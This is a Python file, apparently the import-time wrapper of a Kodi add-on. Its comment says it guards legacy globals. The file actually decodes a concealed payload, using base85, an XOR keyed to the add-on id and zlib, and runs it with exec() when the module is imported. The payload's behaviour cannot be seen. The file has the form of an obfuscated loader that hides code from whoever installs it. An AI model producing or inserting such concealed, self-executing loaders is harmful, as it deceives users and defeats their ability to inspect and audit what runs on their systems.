# -*- coding: utf-8 -*-
# This wrapper also guards legacy globals so Kodi won't crash on import.
import base64, zlib, itertools

def _ptw_key():
    try:
        import xbmcaddon
        a = xbmcaddon.Addon()
        return (a.getAddonInfo('id') or 'plugin.program.PLTW_K20').encode('utf-8')
    except Exception:
        return b'plugin.program.PLTW_K20'

def _ptw_xor(data, key):
    return bytes(b ^ k for b, k in zip(data, itertools.cycle(key)))

_PAYLOAD = """2)5`jv;g%+X3>x#aiuG@n8k{FhEylEjKl7VTU&CqmOj8C%?g_8cN}v93qkvCw&&EZK!!}R?4BqaW`T1i%W2{rT#5XNsZg=k(?q|qly_(Rz-iY}l^=%1!}{Sx_~5^nH}<V|lu_!Ia6w(pZ+j&nKsW=S<Y+=aMXy!!gTn?Kex&@;x>J_d_Zg+edc%>@n;j%ViOg!z>I=hW{04G^oKBT=ATtQsQIc7GD5Kld)v^>(*cqOnAWGf$GpQ}tAI77~L<`76z8#EzR}xTR`I1Ko)Vb-mgb@6+%uA^u^U?Rw)(#YQnjgW>I^~7mwbr4h_8_rX(*L9Hf5>ARB>1Eu$17D`DOP803*Wx&M9oZv#>wd|@fXu?r<2w!wvRG!_3oYxW;!^u|LrD61F*NWs6b7epfFq>H3ZS_U5(@!9Or$ONLbv+XJd;mfVS!`Uzg@`2!dqd?{?@gp~75Frl(;j1dhy@rq~T(7_3%hvc(%vJ(aUj+7?ZI1hw{ATjj@jrRp}gnvet{XJ7Y%$j|K{7wD92Tih!|@5u4Q-|hnFKJ96Eoa5j&c@$t<`gvPgz?NGFR%g4G7;i#^HLR9TPTw2hY$#mKk7$QJfzZBq9<e5AE4w>eZ*&$|e^Jjb#C>=@@Urk@1Aliy4-<FsP%3n3h-U<McKLD1){Iy#nETm0hj*AVNYEb?08*qmlH_w;eg@}rGi%PWmxY~qblKSp&x|>Xl%eJRf=OEYk4CX-?OasMY0lGeZ$A<o;qs9dusy6+$}h<+>5ciI;qt#D)iz82Dum6c2hbRIl@_{b;fDM6Cc@8KRA8tj$X&RD(a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xEI4*OuwddnTYdo#*{w=|~i<(CM-94WDA9j7r`sLHiKvgK4a@AAs#s"""

_data = base64.b85decode(_PAYLOAD)
_data = _ptw_xor(_data, _ptw_key())
_code = zlib.decompress(_data).decode('utf-8', 'replace')

# ---- GUARD: safe globals & package for import-time behavior ----
g = globals()
for _n, _v in (('mode', None), ('url', None), ('name', None),
               ('description', None), ('iconImage', None), ('fanart', None)):
    if _n not in g: g[_n] = _v
if '__package__' not in g or not g['__package__']:
    n = g.get('__name__', '')
    if '.' in n: g['__package__'] = n.rpartition('.')[0]
# ----------------------------------------------------------------

exec(compile(_code, __file__, 'exec'), g, g)
